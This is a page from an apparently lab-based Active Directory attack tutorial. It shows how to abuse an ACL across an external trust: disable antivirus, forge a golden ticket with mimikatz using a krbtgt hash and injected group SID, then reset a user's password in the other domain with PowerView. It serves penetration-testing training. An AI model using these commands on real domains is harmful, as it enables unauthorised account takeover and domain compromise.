> For the complete documentation index, see [llms.txt](https://watchdogsacademy.gitbook.io/attacking-active-directory/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://watchdogsacademy.gitbook.io/attacking-active-directory/trust/forest-trust-newyork.local-greater-than-maryland.local/exploit-acl-with-external-trust-golden-ticket.md).

# Exploit acl with external trust golden ticket

* Ok now imagine we want to exploit this acl from Maryland:

<figure><img src="https://mayfly277.github.io/assets/blog/GOAD/trust_external_acl.png" alt=""><figcaption></figcaption></figure>

By now i didn’t found a nice way to do this from linux, but from windows it is pretty easy

* Connect as administrator on baltimore, disable the antivrius to be able to use mimikatz and powerview
* Create the golden ticket with mimikatz matching the group CentralPark(RID 1130)

```
mimikatz # kerberos::golden /user:guard /domain:maryland.local /sid:S-1-5-21-2203133648-1386395927-1390703624 /krbtgt:e58cf01ba6cc645da9f7ab1f28fc3934 /sids:S-1-5-21-1409754491-4246775990-3914137275-1130 /ptt
```

<figure><img src="https://755243087-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FB2Dm6vWGbM7kQRITOyVl%2Fuploads%2FJ3pxoErfwk4yawQzGbpt%2Fimage.png?alt=media&amp;token=37117a2e-d7a3-4cb1-af2e-e57dc65e5aee" alt=""><figcaption></figcaption></figure>

<figure><img src="https://755243087-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FB2Dm6vWGbM7kQRITOyVl%2Fuploads%2F93653XifWk6k6HtFAd7B%2Fimage.png?alt=media&amp;token=e58c8464-0181-4a88-a427-b7a3468885e7" alt=""><figcaption></figcaption></figure>

* And now use powerview to change diego.Montenegro password

```
Import-Module .\powerview.ps1
$SecPassword = ConvertTo-SecureString 'letsdothis' -AsPlainText -Force
Set-DomainUserPassword -Identity diego.Montenegro -AccountPassword $SecPassword -Domain newyork.local

```

<figure><img src="https://755243087-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FB2Dm6vWGbM7kQRITOyVl%2Fuploads%2Fvh6NODyXeT5bxMoAEJiz%2Fimage.png?alt=media&amp;token=62fecd5e-6c1a-4dc8-a043-cedabe68932e" alt=""><figcaption></figcaption></figure>

* And it work !

<figure><img src="https://mayfly277.github.io/assets/blog/GOAD/trust_acl_changepassword_cme.png" alt=""><figcaption></figcaption></figure>

* And if we look at the created tickets with klist:
  * Server: krbtgt/maryland.local @ maryland.local (golden ticket)
  * Server: krbtgt/NEWYORK.LOCAL @ MARYLAND.LOCAL (kdc: baltimore) (tgt inter realm)
  * Server: ldap/nyc.newyork.local @ NEWYORK.LOCAL (kdc: NYC)
  * Server: ldap/nyc.newyork.local/newyork.local @ NEWYORK.LOCAL (kdc: nyc)

<br>